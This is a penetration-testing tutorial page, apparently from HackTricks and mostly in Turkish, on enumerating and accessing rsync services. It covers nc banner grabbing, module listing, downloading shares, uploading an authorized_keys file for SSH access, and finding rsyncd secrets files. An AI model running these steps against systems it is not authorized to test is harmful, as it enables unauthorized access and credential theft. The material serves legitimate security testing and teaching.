873 - Pentesting Rsync

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

wikipedia adresinden:

rsync, bir bilgisayar ile harici bir sabit disk arasında ve ağlı bilgisayarlar arasında dosyaları verimli bir şekilde aktarmak ve senkronize etmek için bir yardımcı programdır; dosyaların değiştirilme zamanlarını ve boyutlarını karşılaştırarak çalışır.[3] Genellikle Unix benzeri işletim sistemlerinde bulunur. Rsync algoritması, ağ kullanımını minimize etmek için kullanılan bir delta kodlama türüdür. Zlib, ek veri sıkıştırması için kullanılabilir,[3] ve SSH veya stunnel güvenlik için kullanılabilir.

Varsayılan port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Sayım

Afiş ve Manuel iletişim

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Paylaşılan Klasörleri Belirleme

Rsync modülleri, şifrelerle korunabilecek dizin paylaşımları olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediklerini kontrol etmek için aşağıdaki komutlar kullanılır:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Bazı paylaşımların listede görünmeyebileceğini, muhtemelen gizlendiğini unutmayın. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgileri ile kısıtlanmış olabilir, bu da "Erişim Engellendi" mesajı ile belirtilir.

Brute Force

Manuel Rsync Kullanımı

Bir modül listesi elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine dosyaları listelemek ve kopyalamak için:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Bu işlem dosyaları özyinelemeli olarak aktarır, niteliklerini ve izinlerini korur.

Kimlik bilgileri ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

İçerik yüklemek için, erişim için bir authorized_keys dosyası gibi, şunu kullanın:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Bu dosya içinde, bir secrets file parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin